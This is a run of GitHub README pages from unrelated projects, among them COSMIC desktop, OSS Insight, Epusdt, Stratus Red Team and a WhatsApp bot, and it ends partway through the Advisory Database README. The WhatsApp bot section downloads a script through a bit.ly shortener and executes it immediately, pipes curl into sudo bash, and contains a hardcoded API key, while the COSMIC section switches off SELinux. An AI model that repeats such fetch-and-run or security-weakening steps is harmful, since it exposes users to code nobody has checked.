[xdg-desktop-portal-cosmic](https://github.com/pop-os/xdg-desktop-portal-cosmic) * [pop-launcher](https://github.com/pop-os/launcher) ### COSMIC libraries/crates * [cosmic-protocols](https://github.com/pop-os/cosmic-protocols) * [cosmic-text](https://github.com/pop-os/cosmic-text) * [cosmic-theme](https://github.com/pop-os/cosmic-theme) * [cosmic-time](https://github.com/pop-os/cosmic-time) * [libcosmic](https://github.com/pop-os/libcosmic) ## Setup on distributions without packaging of cosmic components The COSMIC desktop environment requires a few dependencies: (This list does not try to be exhaustive, but rather tries to provide a decent starting point. For detailed instructions, check out the individual projects): - [just](https://github.com/casey/just) - rustc - libwayland - mesa (or third-party libEGL/libGL implementations, though interfacing with mesa's libglvnd is generally recommended). - libseat - libxkbcommon - libinput - udev - dbus optionally (though the build-system might currently require these libraries): - libsystem - libpulse - pop-launcher - libexpat1 - libfontconfig - libfreetype - lld - cargo - libgbm-dev - libclang-dev - libpipewire-0.3-dev Note: `libfontconfig`, `libfreetype`, and `lld` are packages specific to Linux distributions. You may need to find the equivalent version for your distribution if you are not using Pop!_OS. The required ones can be installed with: ``` sudo apt install just rustc libglvnd-dev libwayland-dev libseat-dev libxkbcommon-dev libinput-dev udev dbus libdbus-1-dev libpam0g-dev libpixman-1-dev libssl-dev libflatpak-dev -y ``` and the optional ones with: ``` sudo apt install libsystemd-dev libpulse-dev pop-launcher libexpat1-dev libfontconfig-dev libfreetype-dev mold cargo libgbm-dev libclang-dev libpipewire-0.3-dev -y ``` They can be installed all at once with: ``` sudo apt install just rustc libglvnd-dev libwayland-dev libseat-dev libxkbcommon-dev libinput-dev udev dbus libdbus-1-dev libsystemd-dev libpixman-1-dev libssl-dev libflatpak-dev libpulse-dev pop-launcher libexpat1-dev libfontconfig-dev libfreetype-dev mold cargo libgbm-dev libclang-dev libpipewire-0.3-dev libpam0g-dev -y ``` ### Testing The easiest way to test COSMIC DE currently is by building a systemd system extension (see `man systemd-sysext`). ``` git clone --recurse-submodules https://github.com/pop-os/cosmic-epoch cd cosmic-epoch just sysext ``` This will create a system-extension called `cosmic-sysext`, that you can move (without renaming!) into e.g. `/var/lib/extensions`. After starting systemd-sysext.service (`sudo systemctl enable --now systemd-sysext`) and refreshing (`sudo systemd-sysext refresh`) or rebooting, *COSMIC* will be an available option in your favorite display manager. If you have SELinux enabled (e.g. on Fedora), the installed extension won't have the correct labels applied. To test COSMIC, you can temporarily disable it and restart `gdm` (note that this will close your running programs). ```shell sudo setenforce 0 sudo systemctl restart gdm ``` **Note**: An extension created this way will be linked against specific libraries on your system and will not work on other distributions. It also requires the previously mentioned libraries/dependencies at runtime to be installed in your system (the system extension does not carry these libraries). **Read-Only Filesystem**: If you're not on an immutable distro you may notice that `/usr/` and `/opt/` are read-only. this is caused by `systemd-sysext` being enabled, when you are done testing you can disable `systemd-sysext` (`sudo systemctl disable --now systemd-sysext`) It is thus no proper method for long term deployment. ### Packaging COSMIC DE is packaged for Pop!_OS. For reference, look at the `debian` folders in the projects repositories. These and the `justfile` inside this repository may be used as references on how to package COSMIC DE, though no backwards-compatibility guarantees are provided at this stage. ### Versioning COSMIC DE is very much still work-in-progress and thus does not follow a versioning scheme so far. We do our best to keep the referenced submodule commits in this repository building and working together, as a consequence they might not contain the latest updates and features from these repositories (yet). Notes on versioning and packaging all these components together properly will be added at a later stage once COSMIC DE gets its first release. ## Installing on Pop!_OS COSMIC DE is near its first alpha release. Using and testing the pre-alpha is welcome. Bugs and breakage are expected. #### Enable Wayland `sudo nano /etc/gdm3/custom.conf` Change to true WaylandEnable=true Reboot for this change to take effect. #### Update udev rules for NVIDIA users ```shell sudo nano /usr/lib/udev/rules.d/61-gdm.rules ``` Look for `LABEL="gdm_prefer_xorg"` and `LABEL="gdm_disable_wayland"`, add `#` to the `RUN` statement so it will look like this ``` LABEL="gdm_prefer_xorg" #RUN+="/usr/libexec/gdm-runtime-config set daemon PreferredDisplayServer xorg" GOTO="gdm_end" LABEL="gdm_disable_wayland" #RUN+="/usr/libexec/gdm-runtime-config set daemon WaylandEnable false" GOTO="gdm_end" ``` Restart gdm ```shell sudo systemctl restart gdm ``` #### Install COSMIC `sudo apt install cosmic-session` After logging out, click on your user and there will be a sprocket at the bottom right. Change the setting to COSMIC. Proceed to log in. ## Installing on Arch Linux Installing via the preferred AUR helper is possible the usual way, e.g.: `paru -S cosmic-epoch-git` Then log out, click on your user, and a sprocket at the bottom right shows an additional entry alongside your desktop environments. Change to COSMIC and proceed with log in. For a more detailed discussion, consider the [relevant section in the Arch wiki](https://wiki.archlinux.org/title/COSMIC). ## Installing on Fedora Linux Cosmic may be installed via a Fedora COPR repository. ``` dnf copr enable ryanabx/cosmic-epoch dnf install cosmic-desktop ``` Then log out, click on your user, and a sprocket at the bottom right shows an additional entry alongside your desktop environments. Change to COSMIC and proceed with log in. For further information, you may check the [COPR page](https://copr.fedorainfracloud.org/coprs/ryanabx/cosmic-epoch/). ## Contact - [Mattermost](https://chat.pop-os.org/) - [Twitter](https://twitter.com/pop_os_official) - [Instagram](https://www.instagram.com/pop_os_official/)

Next generation Cosmic desktop environment

pingcap/ossinsight

<h1 align="center">Open Source Software Insight!</h1> <div align="center"> <a href="https://ossinsight.io"> <img src="/web/static/img/screenshots/homepage.gif" </a> </div> <h4 align="center"> <b><a href="https://ossinsight.io/explore/">Data Explorer</a></b> • <b><a href="https://ossinsight.io/collections/open-source-database">Repo Rankings</a></b> • <b><a href="https://ossinsight.io/analyze/Ovilia">Developer Analytics</a></b> • <a href="https://ossinsight.io/analyze/pingcap/tidb">Repo Analytics</a> • <a href="https://ossinsight.io/collections/open-source-database">Collections</a> • <a href="https://ossinsight.io/docs/workshop">Workshop</a> • <a href="https://ossinsight.io/blog">Blog</a> • <a href="https://ossinsight.io/docs">API</a> • <a href="https://twitter.com/OSSInsight">Twitter</a> </h3> ## Introduction OSS Insight is a powerful tool that provides comprehensive, valuable, and trending insights into the open source world by analyzing 5+ billion rows of GitHub events data. OSS Insight's <a href="https://ossinsight.io/explore/">Data Explorer</a> provides a new way to explore GitHub data. Simply ask your question in natural language and Data Explorer will generate SQL, query the data, and present the results visually. OSS Insight also provides in-depth analysis of individual GitHub repositories and developers, as well as the ability to compare two repositories using the same metrics. [🎦 Video - OSS Insight: Easiest New Way to Analyze Open Source Software](https://www.youtube.com/watch?v=6ofDBgXh4So&t=1s) ### **Feature 0: Shareable Insight Widgets** | Repository Activity Trends | Collaborative Productivity - Last 28 days | | ----------- | ----------- | |<img src="https://next.ossinsight.io/widgets/official/compose-activity-trends/thumbnail.png?repo_id=41986369&image_size=auto" />|<img src="https://next.ossinsight.io/widgets/official/compose-last-28-days-collaborative-productivity/thumbnail.png?repo_id=41986369&image_size=auto" />| | Repository Performance Stats - Last 28 days | Active Contributors - Last 28 days | | ----------- | ----------- | |<img src="https://next.ossinsight.io/widgets/official/compose-last-28-days-stats/thumbnail.png?repo_id=41986369&image_size=auto" />|<img src="https://next.ossinsight.io/widgets/official/compose-recent-active-contributors/thumbnail.png?repo_id=41986369&limit=100&image_size=auto"/>| | Star Geographic Distribution | Star History | | ----------- | ----------- | |<img src="https://next.ossinsight.io/widgets/official/analyze-repo-stars-map/thumbnail.png?activity=stars&repo_id=41986369&image_size=auto" />|<img src="https://next.ossinsight.io/widgets/official/analyze-repo-stars-history/thumbnail.png?repo_id=41986369&image_size=auto" />| For more charming widgets, please [Check it out 👉](https://next.ossinsight.io/widgets?utm_source=github&utm_medium=referral) ### **Feature 1: GPT-Powered Data Exploration** Data Explorer provides a new way to discover trends and insights into 5+ billion rows of GitHub data. Simply ask your question in natural language and Data Explorer will generate SQL, query the data, and present the results visually. It's built with <a href="https://tidbcloud.com/channel/?utm_source=ossinsight&utm_medium=community&utm_campaign=chat2query_202301&utm_content=github_readme">Chat2Query</a>, a GPT-powered SQL generator in TiDB Cloud. Examples: * [Projects similar to @facebook/react](https://ossinsight.io/explore?id=ba186a53-b2ab-4cad-a46f-e2c36566cacd) * [The most interesting Web3 projects](https://ossinsight.io/explore?id=f829026d-491c-44e0-937a-287f97a3cba7) * [Where are @kubernetes/kubernetes contributors from?](https://ossinsight.io/explore?id=754a681e-913f-4333-b55d-dbd8598bd84d) * [More popular questions](https://ossinsight.io/explore/) [🎦 Video - Data Explorer: Discover insights in GitHub data with GPT-generated SQL](https://www.youtube.com/watch?v=rZZfgOJ-quI) ### **Feature 2: Technical Fields Analytics 👁️** * **GitHub Collections Analysis** Find insights about the monthly or historical rankings and trends in technical fields with curated repository lists. <div align="center"> <a href="https://en.pingcap.com/tidb-cloud/?utm_source=ossinsight&utm_medium=referral"> <img src="/web/static/img/screenshots/homepage-collection.png" alt="GitHub Collections Analytics" height="500" /> </a> </div> **Examples**: * [Collection: Web Framework](https://ossinsight.io/collections/web-framework) * [Collection: Artificial Intelligence](https://ossinsight.io/collections/artificial-intelligence) * [Collection: Web3](https://ossinsight.io/collections/web3) * [More](https://ossinsight.io/collections/open-source-database) ... **Welcome to add collections** 👏 We welcome your contributions here! You can add a collection on our website by submitting PRs. Please create a `.yml` file under [the collections file path]( https://github.com/pingcap/ossinsight/tree/main/etl/meta/collections). [Here](https://github.com/pingcap/ossinsight/blob/main/CONTRIBUTING.md#add-a-collection) is a file template that describes what you need to include. We look forward to your PRs！ * **Deep Insight into some popular fields of technology** Share with you many deep insights into some popular fields of technology, such as open source Databases, JavaScript Framework, Low-code Development Tools and so on. **Examples**: * [Deep Insight Into Open Source Databases](https://ossinsight.io/blog/deep-insight-into-open-source-databases) * [JavaScript Framework Repos Landscape 2021](https://ossinsight.io/blog/deep-insight-into-js-framework-2021) * [Web Framework Repos Landscape 2021](https://ossinsight.io/blog/deep-insight-into-web-framework-2021) * [More](https://ossinsight.io/blog) ... We’ll also share the SQL commands that generate all these analytical results above each chart, so you can use them on your own on TiDB Cloud following this [10-minute tutorial](https://ossinsight.io/blog/try-it-yourself/). ### **Feature 3: Developer Analytics** Insights about **developer productivity**, **work cadence**, and **collaboration** from developers' contribution behavior. * **Basic**: * Stars, behavior, most used languages，and contribution trends * Code (commits, pull requests, pull request size and code line changes), code reviews, and issues * **Advanced**: * Contribution time distribution for all kind of contribution activities * Monthly stats about contribution activities in all public repositories <div align="center"> <img src="/web/static/img/screenshots/homepage-developer.png" alt="Developer Analytics" height="500" /> </div> ### **Feature 4: Repository Analytics** Insights about the **code update frequency & degree of popularity** from repositories' status. * **Basic**: * Stars, forks, issues, commits, pull requests, contributors, programming languages, and lines of code modified * Historical trends of these metrics * Time cost of issues, pull requests * **Advanced**: * Geographical distribution of stargazers, issue creators, and pull request creators * Company distribution of stargazers, issue creators, and pull request creators <div align="center"> <img src="/web/static/img/screenshots/homepage-repository.png" alt="Repository Analytics" height="500" /> </div> **Examples**: * [React](https://ossinsight.io/analyze/facebook/react) * [TiDB](https://ossinsight.io/analyze/pingcap/tidb) * [web3.js](https://ossinsight.io/analyze/web3/web3.js) * [Ant Design](https://ossinsight.io/analyze/ant-design/ant-design) * [Chaos Mesh](https://ossinsight.io/analyze/chaos-mesh/chaos-mesh) ### **Feature 5: Compare Projects 🔨** Compare two projects using the repo metrics mentioned in **Repository Analytics**. **Examples**: * [Compare Vue and React](https://ossinsight.io/analyze/vuejs/vue?vs=facebook/react) * [Compare CockroachDB and TiDB](https://ossinsight.io/analyze/pingcap/tidb?vs=cockroachdb/cockroach) * [Compare PyTorch and TensorFlow](https://ossinsight.io/analyze/pytorch/pytorch?vs=tensorflow/tensorflow) ## Contribution We've released OSS Insight because it can do more insights about GitHub.We hope that others can benefit from the project. You are more than welcome to participate in capacity building. We are thankful for any [contributions](https://github.com/pingcap/ossinsight/blob/main/CONTRIBUTING.md) from the community. * [GitHub Discussion](https://github.com/pingcap/ossinsight/discussions). Best for: help with building, discussion about OSS Insight best practices. * [GitHub Issues](https://github.com/pingcap/ossinsight/issues). Best for: bugs and errors you encounter using OSS Insight. * [GitHub PR](https://github.com/pingcap/ossinsight/pulls). Best for: pull request the features you wish for OSS Insight. * [collection](https://github.com/pingcap/ossinsight/blob/main/CONTRIBUTING.md#add-a-collection) You can add a collection on our website. * [blog](https://github.com/pingcap/ossinsight/blob/main/CONTRIBUTING.md#add-a-blog) You are welcome to share blogs about using OSS Insight. * [fix](https://github.com/pingcap/ossinsight/blob/main/CONTRIBUTING.md#add-a-collection) You can make fixes to current issues. * [feat](https://github.com/pingcap/ossinsight/blob/main/CONTRIBUTING.md#feature-requests) You are welcome to contribute if you have new feature ideas. ## Contact We have a few channels for contact: * [GitHub Discussions](https://github.com/pingcap/ossinsight/discussions): You can ask a question or discuss here. * [@OSS Insight](https://twitter.com/OSSInsight) on Twitter * [mail](mailto:ossinsight@pingcap.com):If you want to analyze more, please [contact us](mailto:ossinsight@pingcap.com) ✉️ ## Development * [⚙️ Setup](https://github.com/pingcap/ossinsight/blob/main/CONTRIBUTING.md#development) * [💡 How to build your own insight tool](https://ossinsight.io/docs/workshop/mini-ossinsight/introduction) ## Sponsors <div align="center"> <a href="https://en.pingcap.com/tidb-cloud/?utm_source=ossinsight&utm_medium=referral"> <img src="/web/static/img/tidb-cloud-logo-w.png" height=50 /> </a> </div>

Analysis, Comparison, Trends, Rankings of Open Source Software, you can also get insight from more than 7 billion with natural language (powered by OpenAI). Follow us on Twitter: https://twitter.com/ossinsight

insight,oss,github,realtime,analytics,htap,demo,openai,aisql,text2sql

assimon/epusdt

## Epusdt (Easy Payment Usdt) <p align="center"> <img src="wiki/img/usdtlogo.png"> </p> <p align="center"> <a href="https://www.gnu.org/licenses/gpl-3.0.html"><img src="https://img.shields.io/badge/license-GPLV3-blue" alt="license GPLV3"></a> <a href="https://golang.org"><img src="https://img.shields.io/badge/Golang-1.16-red" alt="Go version 1.16"></a> <a href="https://echo.labstack.com"><img src="https://img.shields.io/badge/Echo Framework-v4-blue" alt="Echo Framework v4"></a> <a href="https://github.com/tucnak/telebot"><img src="https://img.shields.io/badge/Telebot Framework-v3-lightgrey" alt="Telebot Framework-v3"></a> <a href="https://github.com/assimon/epusdt/releases/tag/v0.0.1"><img src="https://img.shields.io/badge/version-v0.0.1-green" alt="version v0.0.1"></a> </p> ## 项目简介 `Epusdt`（全称：Easy Payment Usdt）是一个由`Go语言`编写的私有化部署`Usdt`支付中间件(`Trc20网络`) 站长或开发者可通过`Epusdt`提供的`http api`集成至您的任何系统，无需过多的配置，仅仅依赖`mysql`和`redis` 可实现USDT的在线支付和消息回调，这一切在优雅和顷刻间完成！🎉 私有化搭建使得无需额外的手续费和签约费用，Usdt代币直接进入您的钱包💰 `Epusdt` 遵守 [GPLv3](https://www.gnu.org/licenses/gpl-3.0.html) 开源协议! ## 项目特点 - 支持私有化部署，无需担心钱包被篡改和吞单😁 - `Go语言`跨平台实现，支持x86和arm芯片架构的win/linux设备 - 多钱包地址轮询，提高订单并发率 - 异步队列响应，优雅及高性能 - 无需额外环境配置，仅运行一个编译后二进制文件即可使用 - 支持`http api`，其他系统亦可接入 - `Telegram`机器人接入，便捷使用和支付消息快速通知 ## 项目结构 ``` Epusdt ├── plugins ---> (已集成的插件库，例如dujiaoka) ├── src ---> (项目核心目录） ├── sdk ---> (接入SDK) ├── sql ---> (安装sql文件或更新sql文件) └── wiki ---> (知识库) ``` ## 教程： - 宝塔运行`epusdt`教程👉🏻[宝塔运行epusdt](wiki/BT_RUN.md) - 不好意思我有洁癖，手动运行`epusdt`教程👉🏻[手动运行epusdt](wiki/manual_RUN.md) - 开发者接入`epusdt`文档👉🏻[开发者接入epusdt](wiki/API.md) - HTML+PHP极速运行`epusdt`教程👉🏻[使用PHPAPI-for-epusdt极速接入epusdt](https://github.com/BlueSkyXN/PHPAPI-for-epusdt) ## 已适配系统插件 - 独角数卡[插件地址](plugins/dujiaoka) ## 💳推荐U卡 - （香港万事达U卡,可绑定支付宝/微信/谷歌云/腾讯云/阿里云/狗爹/ATM取现）[👉🏻点我直达](https://www.thpay.org/?channelCode=2297074) ## 🔥推荐服务器 - （美国免备案vps，配置2核2G仅需`20.98$`≈`145RMB`一年/支持支付宝付款）[👉🏻点我直达](https://my.racknerd.com/aff.php?aff=2745&pid=681) ## 加入交流/意见反馈 - `Epusdt`频道[https://t.me/epusdt](https://t.me/epusdt) - `Epusdt`交流群组[https://t.me/epusdt_group](https://t.me/epusdt_group) ## 设计实现 `Epusdt`的实现方式与其他项目原理类似，都是通过监听`trc20`网络的api或节点， 监听钱包地址`usdt`代币入账事件，通过`金额差异`和`时效性`来判定交易归属信息， 可参考下方`流程图` ``` 简单的原理： 1.客户需要支付20.05usdt 2.服务器有一个hash表存储钱包地址对应的待支付金额 例如:address_1 : 20.05 3.发起支付的时候，我们可以判定钱包address_1的20.05金额是否被占用，如果没有被占用那么可以直接返回这个钱包地址和金额给客户，告知客户需按规定金额20.05准确支付，少一分都不行。且将钱包地址和金额 address_1:20.05锁起来，有效期10分钟。 4.如果订单并发下，又有一个20.05元需要支付，但是在第3步的时候上一个客户已经锁定了该金额，还在等待支付中...，那么我们将待支付金额加上0.0001，再次尝试判断address_1:20.0501金额是否被占用？如果没有则重复第三步，如果还是被占用就继续累加尝试，直到加了100次后都失败 5.新开一个线程去监听所有钱包的USDT入账事件，网上有公开的api或rpc节点。如果发现有入账金额与待支付的金额相等。则判断该笔订单支付成功！ ``` ### 流程图：  ## 打赏 如果该项目对您有所帮助，希望可以请我喝一杯咖啡☕️ ``` Usdt(trc20)打赏地址: TNEns8t9jbWENbStkQdVQtHMGpbsYsQjZK ``` <img src="wiki/img/usdt_thanks.jpeg" width = "300" height = "400" alt="usdt扫码打赏"/> ## 声明 `Epusdt`为开源的产品，仅用于学习交流使用！ 不可用于任何违反中华人民共和国(含台湾省)或使用者所在地区法律法规的用途。 因为作者即本人仅完成代码的开发和开源活动(开源即任何人都可以下载使用或修改分发)，从未参与用户的任何运营和盈利活动。 且不知晓用户后续将程序源代码用于何种用途，故用户使用过程中所带来的任何法律责任即由用户自己承担。 ``` ！！！Warning！！！ 项目中所涉及区块链代币均为学习用途，作者并不赞成区块链所繁衍出代币的金融属性 亦不鼓励和支持任何"挖矿"，"炒币"，"虚拟币ICO"等非法行为 虚拟币市场行为不受监管要求和控制，投资交易需谨慎，仅供学习区块链知识 ```

开源优雅的跨平台usdt收付中间件 Easy Payment USDT——epsdt

DataDog/stratus-red-team

# Stratus Red Team [](http://golang.org) [](https://github.com/DataDog/stratus-red-team/actions/workflows/test.yml) [](https://github.com/DataDog/stratus-red-team/actions/workflows/static-analysis.yml)  [](https://api.securityscorecards.dev/projects/github.com/DataDog/stratus-red-team) [](https://bestpractices.coreinfrastructure.org/projects/6530) <p align="center"> <img src="./docs/logo.png" alt="Stratus Red Team" width="300" /> </p> Stratus Red Team is "[Atomic Red Team](https://github.com/redcanaryco/atomic-red-team)™" for the cloud, allowing to emulate offensive attack techniques in a granular and self-contained manner. <p align="center"> <a href="https://github.com/DataDog/stratus-red-team/raw/main/docs/demo.gif"> <img src="./docs/demo.gif" alt="Terminal recording" /> </a> </p> Read the announcement blog posts: - https://www.datadoghq.com/blog/cyber-attack-simulation-with-stratus-red-team/ - https://blog.christophetd.fr/introducing-stratus-red-team-an-adversary-emulation-tool-for-the-cloud/ ## Getting Started Stratus Red Team is a self-contained Go binary. See the documentation at **[stratus-red-team.cloud](https://stratus-red-team.cloud/)**: - [Stratus Red Team Concepts](https://stratus-red-team.cloud/user-guide/getting-started/#concepts) - [Installing Stratus Red Team](https://stratus-red-team.cloud/user-guide/getting-started/#installation) - Homebrew formula, Docker image and pre-built binaries available - [Available Attack Techniques](https://stratus-red-team.cloud/attack-techniques/list/), mapped to MITRE ATT&CK ## Installation ### Direct install Requires Go 1.18+ ``` go install -v github.com/datadog/stratus-red-team/v2/cmd/stratus@latest ``` ### Homebrew ``` brew tap datadog/stratus-red-team https://github.com/DataDog/stratus-red-team brew install datadog/stratus-red-team/stratus-red-team ``` ### Pre-build binaries For Linux / Windows / Mac OS: download one of the [pre-built binaries](https://github.com/datadog/stratus-red-team/releases). ### Docker ```bash IMAGE="ghcr.io/datadog/stratus-red-team" alias stratus="docker run --rm -v $HOME/.stratus-red-team/:/root/.stratus-red-team/ -e AWS_ACCESS_KEY_ID -e AWS_SECRET_ACCESS_KEY -e AWS_SESSION_TOKEN -e AWS_DEFAULT_REGION $IMAGE" ``` ### asdf You can install specific versions (or latest) of stratus-red-team using [asdf](https://asdf-vm.com/) and this [stratus-red-team plugin](https://github.com/asdf-community/asdf-stratus-red-team): ```bash asdf plugin add stratus-red-team https://github.com/asdf-community/asdf-stratus-red-team.git asdf install stratus-red-team latest ``` ## Community The following section lists posts and projects from the community leveraging Stratus Red Team. Open-source projects: - [Threatest](https://github.com/DataDog/threatest) - [AWS Threat Detection with Stratus Red Team](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection) Videos: - [Reproducing common attacks in the cloud with Stratus Red Team](https://www.youtube.com/watch?v=M5DGXWF2ld0) - [Stratus Red Team: AWS EC2 Instance Credential Theft | Threat SnapShot](https://www.youtube.com/watch?v=TVS-M6DrSPw) Blog posts: - [AWS threat emulation and detection validation with Stratus Red Team and Datadog Cloud SIEM](https://www.datadoghq.com/blog/aws-threat-emulation-detection-validation-datadog/) - [Adversary emulation on AWS with Stratus Red Team and Wazuh](https://wazuh.com/blog/adversary-emulation-on-aws-with-stratus-red-team-and-wazuh/) - [Sky’s the Limit: Stratus Red Team for Azure](https://blog.detect.dev/posts/azure_for_stratus.html) - [Detecting realistic AWS cloud-attacks using Azure Sentinel](https://medium.com/falconforce/falconfriday-detecting-realistic-aws-cloud-attacks-using-azure-sentinel-0xff1c-b62fd45c87dc) - [A Data Driven Comparison of Open Source Adversary Emulation Tools](https://www.picussecurity.com/resource/blog/data-driven-comparison-between-open-source-adversary-emulation-tools) - [Making Security Relevant in the Cloud](https://www.cloudreach.com/en/technical-blog/making-security-relevant-in-the-cloud/) - [Detonating attacks with Datadog Stratus Red Team](https://chrisdunne.com/post/detonating-attacks-with-datadog-stratus-red-team) - [AWS CloudTrail cheatsheet](https://invictus-ir.medium.com/aws-cloudtrail-cheat-sheet-dcf2b92e37e2) - [Adversary emulation on GCP with Stratus Red Team and Wazuh](https://wazuh.com/blog/adversary-emulation-on-gcp-with-stratus-red-team-and-wazuh/) - [Automated First-Response in AWS using Sigma and Athena](https://invictus-ir.medium.com/automated-first-response-in-aws-using-sigma-and-athena-615940bedc56) - [AWS Cloud Detection Lab: Cloud Pen-testing with Stratus Red Team](https://medium.com/@goodycyb/aws-cloud-detection-lab-1%EF%B8%8F%E2%83%A3-%EF%B8%8F-cloud-pen-testing-with-stratus-red-team-tool-69b4fab24743) Talks: - [Purple Teaming & Adversary Emulation in the Cloud with Stratus Red Team, DEF CON Cloud Village 2022](https://www.youtube.com/watch?v=rXFFuYbkntU) (recorded after the event as the talks were not recorded) - [Threat-Driven Development with Stratus Red Team](https://www.youtube.com/watch?v=AbWwcqLwcYI) by Ryan Marcotte Cobb - [Cloudy With a Chance of Purple Rain: Leveraging Stratus Red Team - BSides Portland 2022](https://www.youtube.com/watch?v=Oq9ObzATZDI) Papers: - [A Purple Team Approach to Attack Automation in the Cloud Native Environment](https://aaltodoc.aalto.fi/bitstream/handle/123456789/116425/master_Chaplinska_Svitlana_2022.pdf?sequence=1&isAllowed=y) ## Using Stratus Red Team as a Go Library See [Examples](./examples) and [Programmatic Usage](https://stratus-red-team.cloud/user-guide/programmatic-usage/). ## Development ### Building Locally ``` bash make ./bin/stratus --help ``` ### Running Locally ```bash go run cmd/stratus/*.go list ``` ### Running the Tests ```bash make test ``` ### Building the Documentation For local usage: ``` pip install mkdocs-material mkdocs-awesome-pages-plugin make docs mkdocs serve ``` ### Acknowledgments Maintainer: [@christophetd](https://twitter.com/christophetd) Similar projects (see [how Stratus Red Team compares](https://stratus-red-team.cloud/comparison/)): - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) by Red Canary - [Leonidas](https://github.com/FSecureLABS/leonidas) by F-Secure - [pacu](https://github.com/RhinoSecurityLabs/pacu) by Rhino Security Labs - [Amazon GuardDuty Tester](https://github.com/awslabs/amazon-guardduty-tester) - [CloudGoat](https://github.com/RhinoSecurityLabs/cloudgoat) by Rhino Security Labs Inspiration and relevant resources: - https://expel.io/blog/mind-map-for-aws-investigations/ - https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ - https://github.com/elastic/detection-rules/tree/main/rules/integrations/aws

:cloud: :zap: Granular, Actionable Adversary Emulation for the Cloud

aws,adversary-emulation,purple-team,mitre-attack,cloud-security,cloud-native-security,detection-engineering,threat-detection,security,aws-security

BetaSu/fe-hunter

# 🥷 前端赏金猎人 每天督促自己答一道题，3个月后，你就是面试小能手。 收获👍最多的答案还能领赏金哦！ ## 👩‍🎓 我想学习 [所有有最佳答案的问题](https://github.com/BetaSu/fe-hunter/issues?q=is%3Aissue+is%3Aclosed) [合订本](https://fe-cool.github.io/hunter/) ## 💰 我要答题 [悬赏中的问题点击这里](https://github.com/BetaSu/fe-hunter/issues) ## 🙋 我想参与其中 如果你想： - 答题赚钱，领赏金 - 进赏金猎人群（一个干净、纯粹，以答题为主的前端技术群） - 每日收获几个高质量前端问题的答案 请加卡颂微信（备注**猎人**）：kasong555 <img width="240" height="240" alt="WechatIMG699" src="https://user-images.githubusercontent.com/15828041/162861814-50153bc6-91a6-4364-b124-7d52477c0146.png"> ## 🤔我想提问 [如何提问](https://github.com/BetaSu/fe-hunter/wiki/How-to-ask) ## 👨赞助 感谢以下赞助者对赏金的赞助（按时间排序）： 名称 | 金额（元） ---- | --- [Yinboan](https://github.com/Yinboan) | 100 [byoungd](github.com/byoungd) | 300 [cyyspring](https://github.com/cyyspring) | 15 匿名 | 100 匿名 | 800

每天一道题，3个月后，你就是面试小能手，答题还能赚钱哦

lyfe00011/whatsapp-bot-md

### WhatsApp MD User Bot A simple WhatsApp User bot. ## Setup 1. Deploy on Heroku - Click [SCAN](https://qr-hazel-alpha.vercel.app/md) and scan the QR code through the "WhatsApp Linked Devices" option in your WhatsApp app. - You will get a session ID in WhatsApp, copy the ID only. - If you don't have an account on [Heroku](https://signup.heroku.com/), [create an account now](https://signup.heroku.com/). - If you don't have a GitHub account, [sign up](https://github.com/join) now. - [FORK](https://github.com/lyfe00011/whatsapp-bot-md/fork) this repository. - Now [DEPLOY](https://qr-hazel-alpha.vercel.app/heroku). 2. Deploy on Koyeb - Create an account on [Koyeb](https://app.koyeb.com/auth/signup). [Sign up now](https://app.koyeb.com/auth/signup). - Get [DATABASE_URL](https://github.com/lyfe00011/whatsapp-bot-md/wiki/DATABASE_URL). You'll need this while deploying. - Get [SESSION_ID](https://qr-hazel-alpha.vercel.app/md). Open Linked Devices in WhatsApp and [SCAN](https://qr-hazel-alpha.vercel.app/md) now. - Get the Koyeb API key. [Let's Go](https://app.koyeb.com/account/api). - [DEPLOY](https://qr-hazel-alpha.vercel.app/koyeb) now. - Enter [Environment Variables](https://github.com/lyfe00011/whatsapp-bot-md/wiki/Environment_Variables). [Read More](https://github.com/lyfe00011/whatsapp-bot-md/wiki/Environment_Variables). - Enter a name and click "Create Service." 3. Deploy on VPS or PC (Example here as in Ubuntu) - Install with script wget -N -O levanter.sh http://bit.ly/43JqREw && chmod +x levanter.sh && ./levanter.sh - Install without a script - Install git, ffmpeg, and curl: sudo apt -y update && sudo apt -y upgrade sudo apt -y install git ffmpeg curl - Install nodejs: sudo apt -y remove nodejs curl -fsSl https://deb.nodesource.com/setup_lts.x | sudo bash - && sudo apt -y install nodejs - Install yarn: npm install -g yarn - Install pm2: sudo yarn global add pm2 - Clone the repository and install packages: git clone https://github.com/lyfe00011/whatsapp-bot-md botName cd botName yarn install --network-concurrency 1 - Enter Environment Variables: Copy-paste the lines below (remove SESSION_ID if not needed): echo "SESSION_ID = Session_Id_you_Got_After_Scan_Dont_Add_This_Line_If_You_Can_Scan_From_Terminal_Itself PREFIX = . STICKER_PACKNAME = LyFE ALWAYS_ONLINE = false RMBG_KEY = null LANGUAG = en WARN_LIMIT = 3 FORCE_LOGOUT = false BRAINSHOP = 159501,6pq8dPiYt7PdqHz3 MAX_UPLOAD = 200 REJECT_CALL = false SUDO = 989876543210 TZ = Asia/Kolkata VPS = true AUTO_STATUS_VIEW = true SEND_READ = true AJOIN = true DISABLE_START_MESSAGE = false PERSONAL_MESSAGE = null" > config.env - [Read More](https://github.com/lyfe00011/whatsapp-bot-md/wiki/Environment_Variables) - Edit the `config.env` using nano if needed. To save, press `Ctrl + O`, then press `Enter`, and to exit, press `Ctrl + X`. - Start and stop the bot: - To start the bot: `pm2 start . --name botName --attach --time` - To stop the bot: `pm2 stop botName` ### Thanks To - [Yusuf Usta](https://github.com/Quiec) for [WhatsAsena](https://github.com/yusufusta/WhatsAsena) - [@adiwajshing](https://github.com/adiwajshing) for [Baileys](https://github.com/adiwajshing/Baileys)

A whatsapp Multi Device bot based on baileys

github/advisory-database

## GitHub Advisory Database A database of CVEs and GitHub-originated security advisories affecting the open source world. The database is free and open source and is a tool for and by the community. Submit pull requests to help improve our database of software vulnerability information for all. ## Goals * To provide a free and open-source repository of security advisories. * To enable our community to crowd-source their knowledge about these advisories. * To surface vulnerabilities in an industry-accepted formatting standard for machine interoperability. ## Features All advisories acknowledged by GitHub are stored as individual files in this repository. They are formatted in the [Open Source Vulnerability (OSV) format](https://ossf.github.io/osv-schema/). You can submit a pull request to this database (see, [`Contributions`](#contributions)) to change or update the information in each advisory. Pull requests will be reviewed and either merged or closed by our internal security advisory curation team. If the advisory originated from a GitHub repository, we will also @mention the original publisher for optional commentary. ## Sources We add advisories to the GitHub Advisory Database from the following sources: - [Security advisories reported on 